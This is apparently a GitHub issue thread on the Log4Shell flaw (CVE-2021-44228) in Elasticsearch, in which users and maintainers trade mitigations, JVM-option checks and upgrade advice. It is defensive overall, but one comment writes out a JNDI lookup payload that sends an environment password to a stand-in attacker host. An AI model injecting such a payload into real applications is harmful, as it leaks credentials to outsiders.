RCE 0-day exploit found in log4j, a popular Java logging package

[dblife1024]

the RCE affected the elastic

https://www.lunasec.io/docs/blog/log4j-zero-day/

[chendo]

This can be mitigated for the time being by adding -Dlog4j2.formatMsgNoLookups=true to ES_JAVA_OPTS

[elasticmachine]

Pinging @elastic/es-security (Team:Security)

[dnhatn]

Thank you for your report.

Elastic's security reporting guidelines are available at https://www.elastic.co/community/security. Per those guidelines, all reports of potential security issues or vulnerabilities should be sent via email to security@elastic.co. We are unable to discuss potential issues of this nature here. Please send your report to the email address above, where it can be appropriately handled.

[leowinterde]

CVE-2021-44228

[gboddin]

For users installing from packages and having /etc/elasticsearch/jvm.options.d , you can create a file

/etc/elasticsearch/jvm.options.d/nolog4j0day.options containing -Dlog4j2.formatMsgNoLookups=true

This can be mitigated for the time being by adding -Dlog4j2.formatMsgNoLookups=true to ES_JAVA_OPTS

[UserNotFound]

FWIW, not every version of ElasticSearch uses a Log4j version which has the formatMsgNoLookups option. To the best of my knowledge, ES 6.3 and older use Log4j 2.9.1 or older, and formatMsgNoLookups was added in 2.10?

[businessbean]

This can be mitigated for the time being by adding -Dlog4j2.formatMsgNoLookups=true to ES_JAVA_OPTS

The 0-day exploit will provide you remote shell access to the system that runs Elasticsearch. I don't think that this including the closed issue should be a sufficient response from Elastic. There is also no information in the forum and we also have not received any proactive info's or guidelines via our support contract.

I think Elastic should take that problem more serious. Every other security measure (TLS, RBAC etc.) has been made obsolete and even 7.16 is affected, because log4j 2.11.1 is included. Btw. this also counts for Logstash...

Meanwhile we have added -Dlog4j2.formatMsgNoLookups=true to the jvm.options file and the rolling upgrades are running.

[khou]

Curious what suggested solutions there may be for older versions that aren't packaged with 2.11 or even 2.10+, since that java opt flag isn't there...

[chhetripradeep]

Hi @khou

You can remove the class completely for older versions that aren't packaged with log4j 2.10+

zip -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

[rockybean]

Hi @khou

You can remove the class completely for older versions that aren't packaged with log4j 2.10+

zip -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

@chhetripradeep Thanks for this advice~ Do we need to restart es process after remove this class?

[chhetripradeep]

@rockybean Yes i would recommend restarting ES after that. Also I would say you should validate that it has removed the class

1. When you run the above command it should print output like this

$ zip -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
deleting: org/apache/logging/log4j/core/lookup/JndiLookup.class

2. Unzip the log4j-core's jar and make sure that class isn't present in the jar anymore.

[businessbean]

This can be mitigated for the time being by adding -Dlog4j2.formatMsgNoLookups=true to ES_JAVA_OPTS

The 0-day exploit will provide you remote shell access to the system that runs Elasticsearch. I don't think that this including the closed issue should be a sufficient response from Elastic. There is also no information in the forum and we also have not received any proactive info's or guidelines via our support contract.

I think Elastic should take that problem more serious. Every other security measure (TLS, RBAC etc.) has been made obsolete and even 7.16 is affected, because log4j 2.11.1 is included. Btw. this also counts for Logstash...

Meanwhile we have added -Dlog4j.formatMsgNoLookups=true to the jvm.options file and the rolling upgrades are running.

Elastic has meanwhile provided detailed information about the impact for their products. That gave us important additional info's for Logstash and we are able to update our Docker images and roll them out asap.

Thank you for investigating that problem even on the weekend.

[Trolldemorted]

The official forum post says that ES is not vulnerable: https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476

Elasticsearch is not susceptible to remote code execution with this vulnerability due to our use of the Java Security Manager, however we are making a fix available for an information leakage attack also associated with this vulnerability. Additional details below.

However there are claims that elastic is vulnerable: https://github.com/YfryTchsGD/Log4jAttackSurface/blob/master/pages/ElasticSearch.md

Are you certain ES is not affected?

[aidenmitchell]

How can this be mitigated within Docker containers?

[fnkr]

Meanwhile we have added -Dlog4j.formatMsgNoLookups=true to the jvm.options file and the rolling upgrades are running.

@businessbean Sure that you're setting the correct option? The namespace seems to be log4j2 not just log4j.

[businessbean]

How can this be mitigated within Docker containers?

We have added -Dlog4j2.formatMsgNoLookups=true to the jvm.options that we maintain as a configmap in Kubernetes. If you maintain your own Docker image you can also update the jvm.options file. If you use the Elastic image you have to wait for a new version or use the current Elastic image as base image for your custom image that just contains the changed jvm.options file.

[businessbean]

Meanwhile we have added -Dlog4j.formatMsgNoLookups=true to the jvm.options file and the rolling upgrades are running.

@businessbean Sure that you're setting the correct option? The namespace seems to be log4j2 not just log4j.

Thanks for the hint. It must be -Dlog4j2.formatMsgNoLookups=true and not -Dlog4j.formatMsgNoLookups=true

[businessbean]

Meanwhile we have added -Dlog4j.formatMsgNoLookups=true to the jvm.options file and the rolling upgrades are running.

@businessbean Sure that you're setting the correct option? The namespace seems to be log4j2 not just log4j.

Thanks for the hint. It must be -Dlog4j2.formatMsgNoLookups=true and not -Dlog4j.formatMsgNoLookups=true

The log4j PR uses log4j.formatMsgNoLookups. What is now correct?

[businessbean]

Meanwhile we have added -Dlog4j.formatMsgNoLookups=true to the jvm.options file and the rolling upgrades are running.

@businessbean Sure that you're setting the correct option? The namespace seems to be log4j2 not just log4j.

Thanks for the hint. It must be -Dlog4j2.formatMsgNoLookups=true and not -Dlog4j.formatMsgNoLookups=true

The log4j PR uses log4j.formatMsgNoLookups. What is now correct?

The current valid syntax seems to be log4j2.formatMsgNoLookups based on the code and documentation. https://github.com/apache/logging-log4j2/search?q=formatMsgNoLookups

[businessbean]

@businessbean The PR was never merged like that. The option was renamed to log4j2.formatMsgNoLookups in apache/logging-log4j2@69ddd6f after an Apache org member requested it.

Thanks for the clarification!

[vikramnr]

I have added the option and restarted the service, but could see it in parameters in elasticsearch.

ps aux | grep elastisearch | grep noLookup

Could any help me on this

[alexeev]

The official forum post says that ES is not vulnerable: https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476

Elasticsearch is not susceptible to remote code execution with this vulnerability due to our use of the Java Security Manager, however we are making a fix available for an information leakage attack also associated with this vulnerability. Additional details below.

However there are claims that elastic is vulnerable: https://github.com/YfryTchsGD/Log4jAttackSurface/blob/master/pages/ElasticSearch.md

Are you certain ES is not affected?

This is indeed very concerning. Many 3rd party products rely on the official statement of ES team. If it states that "Elasticsearch is not susceptible to remote code execution", then they will not trigger any urgent upgrades. Therefore I want to repeat the previous question: Are you certain ES is not affected?

[xeraa]

1. Thanks to the Java Security Manager (you can check out the security.policy), the logging library cannot download something from the network (why should it after all). Thus it is not a remote code execution vulnerability, but it is still a potential information leak issue (DNS lookups might be possible), so you should set the Java option and / or apply the update that will come out soon.
2. That link is from the elastic.co website but that is a more complex system than just Elasticsearch. It's fixed by now and this was also "only" a DNS lookup issue (and we have audited the logs for those).

[Speedy-Gonzalez]

@xeraa
Thank you for this clarification.

By default Elasticsearch is only accessible from localhost. Would you still recommend setting this Java option if one has not changed this state?

If Elasticsearch is not accessible from the outside, then this vulnerability should not be a problem at all.

[aaad]

@xeraa Thank you for this clarification.

By default Elasticsearch is only accessible from localhost. Would you still recommend setting this Java option if one has not changed this state?

If Elasticsearch is not accessible from the outside, then this vulnerability should not be a problem at all.

As I understand it if your public available application uses the elastic search instance and produces a log in elastic search it can leak environment variables outside by dns lookups (${jndi:ldap://${env:MYSQL_PASSWORD}.attacker.com:1389/a}). If it's only bound to localhost and nobody except you manually or your scripts without input uses it you are safe, however if you use it by an application that has public input that is logged in elastic search you should mitigate.

Edit: I am not part of this project, this is just my humble understanding.

[Speedy-Gonzalez]

@aaad Thank you. We'll do that.

[krauthosting]

I have added the option and restarted the service, but could see it in parameters in elasticsearch.

ps aux | grep elastisearch | grep noLookup

Could any help me on this

@vikramnr At least on Ubuntu there seems no include for /etc/elasticsearch/jvm.options.d despite cited a lot.
For Ubuntu better to edit/template /etc/default/elasticsearch and like mentioned check if JVM option is applied:

root@localhost:~# grep -ri formatMsgNoLookups /etc/default/elasticsearch 
ES_JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true"
root@localhost:~# ps aux | grep elastic | grep -i formatMsgNoLookups
elastic+ 28717  0.0 15.2 3948268 1244992 ?     Ssl  15:21   0:07 /bin/java -Xms1g -Xmx1g -XX:+UseConcMarkSweepGC -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -Des.networkaddress.cache.ttl=60 -Des.networkaddress.cache.negative.ttl=10 -XX:+AlwaysPreTouch -Xss1m -Djava.awt.headless=true -Dfile.encoding=UTF-8 -Djna.nosys=true -XX:-OmitStackTraceInFastThrow -Dio.netty.noUnsafe=true -Dio.netty.noKeySetOptimization=true -Dio.netty.recycler.maxCapacityPerThread=0 -Dlog4j.shutdownHookEnabled=false -Dlog4j2.disable.jmx=true -Djava.io.tmpdir=/tmp/elasticsearch-xxx -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/lib/elasticsearch -XX:ErrorFile=/var/log/elasticsearch/hs_err_pid%p.log -Xlog:gc*,gc+age=trace,safepoint:file=/var/log/elasticsearch/gc.log:utctime,pid,tags:filecount=32,filesize=64m -Djava.locale.providers=COMPAT -XX:UseAVX=2 -Dlog4j2.formatMsgNoLookups=true -Des.path.home=/usr/share/elasticsearch -Des.path.conf=/etc/elasticsearch -Des.distribution.flavor=default -Des.distribution.type=deb -cp /usr/share/elasticsearch/lib/* org.elasticsearch.bootstrap.Elasticsearch -p /var/run/elasticsearch/elasticsearch.pid --quiet

[vikramnr]

@krauthosting Yes, that's correct. For older 7.x version, elastic is still referring to jvm.options file, even though we create custom options.

[rogeruiz]

According to the documentation, where you put options for ES determines where this options file/directory exists. But ultimately @vikramnr is right, I'd also verify using ps aux after troubleshooting where the options would be installed.

[xeraa]

It's a closed issue and we don't publicly comment on security incidents. But to clear up any confusion for validation of JVM options and since this thread will get a lot of hits: curl -XGET "http://localhost:9200/_nodes/jvm?pretty" or GET _nodes/jvm in Kibana's Console will display the JVM options; make sure this parameter is set on every node. This will work for any setup (Windows, Linux service, Docker, Kubernetes,...)

[businessbean]

It's a closed issue and we don't publicly comment on security incidents. But to clear up any confusion for validation of JVM options and since this thread will get a lot of hits: curl -XGET "http://localhost:9200/_nodes/jvm?pretty" or GET _nodes/jvm in Kibana's Console will display the JVM options; make sure this parameter is set on every node. This will work for any setup (Windows, Linux service, Docker, Kubernetes,...)

The metricbeat module for Elasticsearch should be extended to gather that information. That would enable watchers that alert if the JVM settings are not correct.

FYI @richardgilm

[krauthosting]

This can be mitigated for the time being by adding -Dlog4j2.formatMsgNoLookups=true to ES_JAVA_OPTS

@chendo @businessbean This JVM option seems not to mitigate the new follow up DoS vulnerability:
https://nvd.nist.gov/vuln/detail/CVE-2021-45046
@elastic/es-security @dnhatn Please spread/link clarification here after internal assement given it's publicity 🔈

[xeraa]

@krauthosting https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476 has been updated for that (guidance is unchanged)

@businessbean I feel like this should be a discussion for discuss.elastic.co (https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-input-httpjson.html would IMO be the better tool here, happy to discuss on Discuss).

[businessbean]

@businessbean I feel like this should be a discussion for discuss.elastic.co (https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-input-httpjson.html would IMO be the better tool here, happy to discuss on Discuss).

Yes, that is possible but than every customer has to take care of that individually and also it will be not guaranteed that everybody will do the ECS config correct. In general i think that the Elastic monitoring tools should support all Elastic stack features out of the box. Otherwise people will look for alternatives like Prometheus.

[ChannyAzar]

This can be mitigated for the time being by adding -Dlog4j2.formatMsgNoLookups=true to ES_JAVA_OPTS

From this link, seems like we still have a problem, isn't it?

[Speedy-Gonzalez]

This can be mitigated for the time being by adding -Dlog4j2.formatMsgNoLookups=true to ES_JAVA_OPTS

From this link, seems like we still have a problem, isn't it?

There is now an update available, which among other things also brings the latest Log4J version with it.

See:
https://www.elastic.co/guide/en/elasticsearch/reference/7.16/release-notes-7.16.1.html
https://www.elastic.co/guide/en/elasticsearch/reference/7.16/release-notes-7.16.2.html

[xeraa]

Both 7.16.1 and 7.16.2 work against all of the currently known Log4j security issue.

This "follow-up issue" doesn't apply to Elasticsearch because the precondition is:

the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC)

This must be how the application uses the logger and only then can an attacker exploit it through a malicious input. Elasticsearch doesn't use it in that way, so it doesn't apply.

[ChannyAzar]

Both 7.16.1 and 7.16.2 work against all of the currently known Log4j security issue.

And what about 7.16.0 with the -Dlog4j2.formatMsgNoLookups=true as a temporary change until a general upgrade to elasticsearch is performed?

[xeraa]

The mitigations from the security advisory as well — also explicitly mentioned there :)